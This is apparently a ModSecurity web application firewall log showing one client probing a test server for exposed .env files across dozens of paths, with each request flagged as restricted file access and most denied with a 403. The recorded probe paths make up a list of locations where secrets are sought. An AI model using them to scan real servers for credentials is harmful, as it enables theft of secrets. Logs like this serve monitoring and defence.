[Mon Jul 28 20:46:06.399248 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtgAAAAU&quot;]
[Mon Jul 28 20:46:06.421040 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtwAAAAU&quot;]
[Mon Jul 28 20:46:06.421229 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtwAAAAU&quot;]
[Mon Jul 28 20:46:06.421373 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtwAAAAU&quot;]
[Mon Jul 28 20:46:06.443067 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuAAAAAU&quot;]
[Mon Jul 28 20:46:06.443252 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuAAAAAU&quot;]
[Mon Jul 28 20:46:06.443425 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuAAAAAU&quot;]
[Mon Jul 28 20:46:06.465225 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codegolf.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuQAAAAU&quot;]
[Mon Jul 28 20:46:06.465415 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuQAAAAU&quot;]
[Mon Jul 28 20:46:06.465560 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuQAAAAU&quot;]
[Mon Jul 28 20:46:06.487417 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codenames-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXugAAAAU&quot;]
[Mon Jul 28 20:46:06.487596 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXugAAAAU&quot;]
[Mon Jul 28 20:46:06.487739 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXugAAAAU&quot;]
[Mon Jul 28 20:46:06.510168 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collab-connect-web-application/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuwAAAAU&quot;]
[Mon Jul 28 20:46:06.510387 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuwAAAAU&quot;]
[Mon Jul 28 20:46:06.510542 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXuwAAAAU&quot;]
[Mon Jul 28 20:46:06.532305 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collected_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvAAAAAU&quot;]
[Mon Jul 28 20:46:06.532514 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvAAAAAU&quot;]
[Mon Jul 28 20:46:06.532669 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvAAAAAU&quot;]
[Mon Jul 28 20:46:06.554385 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /community/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvQAAAAU&quot;]
[Mon Jul 28 20:46:06.554599 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvQAAAAU&quot;]
[Mon Jul 28 20:46:06.554755 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvQAAAAU&quot;]
[Mon Jul 28 20:46:06.576603 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvgAAAAU&quot;]
[Mon Jul 28 20:46:06.576898 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvgAAAAU&quot;]
[Mon Jul 28 20:46:06.577053 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXvgAAAAU&quot;]
[Mon Jul 28 20:46:06.644530 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwQAAAAU&quot;]
[Mon Jul 28 20:46:06.644747 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwQAAAAU&quot;]
[Mon Jul 28 20:46:06.644931 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwQAAAAU&quot;]
[Mon Jul 28 20:46:06.666797 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwgAAAAU&quot;]
[Mon Jul 28 20:46:06.667029 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwgAAAAU&quot;]
[Mon Jul 28 20:46:06.667179 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwgAAAAU&quot;]
[Mon Jul 28 20:46:06.689119 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwwAAAAU&quot;]
[Mon Jul 28 20:46:06.689301 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwwAAAAU&quot;]
